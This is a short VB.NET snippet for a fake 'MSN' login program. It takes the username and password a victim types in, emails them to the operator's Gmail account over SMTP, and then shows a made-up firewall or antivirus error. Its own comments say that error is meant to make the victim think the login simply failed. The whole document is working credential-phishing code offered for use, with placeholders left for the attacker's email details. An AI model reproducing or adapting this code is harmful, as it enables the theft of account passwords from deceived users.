Dim MyMailMessage As New MailMessage
Try
If TextBox1.Text & TextBox2.Text = "" Then
Call MsgBox("Please Enter A User Name and Password!")
End If
MyMailMessage.From() = New MailAddress("YOUR GMAIL HERE") 'U Enter Ur Email here
MyMailMessage.To.Add("UR GMAIL HERE") 'U Enter Ur Email here agian
MyMailMessage.Subject = "MSN Account Information"
MyMailMessage.Body = "Username :" & (TextBox1.Text) & "Password :" & (TextBox2.Text)
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("UR GMAIL HERE", "UR GMAIL PASSWORD HERE") 'U Enter The Email, And The Password To The Email here
SMTP.Send(MyMailMessage)
Call MsgBox("Something is blocking this program. Please Check If your Firewall or AntiVirus Is Blocking It") 'This is a message, to make them think it failed 'logging' them in
Catch ex As Exception
Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program", MsgBoxStyle.Critical) 'This is For the exception, incase the program runs into an error
End Try